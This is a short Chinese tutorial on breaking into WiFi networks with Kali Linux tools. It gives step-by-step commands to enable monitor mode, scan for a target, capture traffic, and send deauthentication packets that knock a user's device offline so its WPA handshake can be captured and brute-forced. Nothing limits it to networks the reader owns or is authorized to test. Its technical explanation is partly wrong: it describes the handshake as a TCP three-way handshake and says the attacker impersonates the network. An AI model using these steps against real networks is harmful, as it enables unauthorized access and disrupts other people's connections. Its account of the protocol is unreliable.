KALI - 暴破wifi之抓取握手包
提示：要有外置的 支持 kali 的 usb 无线网卡，虚拟机要把vmware的usb服务和网卡启用。
1.查看网卡信息
sudo airmon-ng
或者
sudo ifconfig
2.开启监听模式
sudo airmon-ng start wlan0
执行成功之后网卡接口变为wlan0mon，可以继续用步骤1的方法查看。
3.扫描wifi
sudo airodump-ng wlan0mon
然后会自动扫描列出附近wifi
记下目标wifi的频道号（CH）和BSSID。
按 Ctrl+C 停止扫描
4.抓取握手包
该步骤原理：先让设备掉线，设备会再自动连接，并发这个自动连接过程会进行三次握手，会发送包含hash加密的密码数据tcp包，我们的设备伪装成目标wifi窃取该数据包。窃取后即可用字典暴破WiFi密码。（因此目标wifi中至少有一个连接的设备）
开始抓包
sudo airodump-ng -c 6 --bssid 04:95:E6:C3:14:A9 -w ~/ wlan0mon
参数：
-c 指定频道号
--bssid 指定路由器bssid
-w 指定抓取的握手包存储路径
最后是指定网卡接口
可以看到哪些设备连接到了wifi，STATION就是连接设备的MAC地址，记住一个。
迫使设备重新连接
开始抓包后，我们需要等用户连接我们伪装的wifi，才能抓到包。所以我们需要利用aireplay-ng工具，给连接到wifi的一个设备发送deauth（反认证）包，使该设备断开wifi，随后它自然会再次连接wifi。
sudo aireplay-ng -0 2 -a 04:95:E6:C3:14:A9 -c 38:01:46:8E:E5:20 wlan0mon
参数解释：
-0 攻击次数（-0 2 即攻击2次，-0 0为无限次数）
-a 指定无线路由器BSSID
-c 指定强制断开的设备
最后是指定网卡接口
出现WPA handshake时，表示抓包成功
按 Ctrl+C 停止抓包
最后得到一个后缀为 .cap的握手包文件再拿去暴破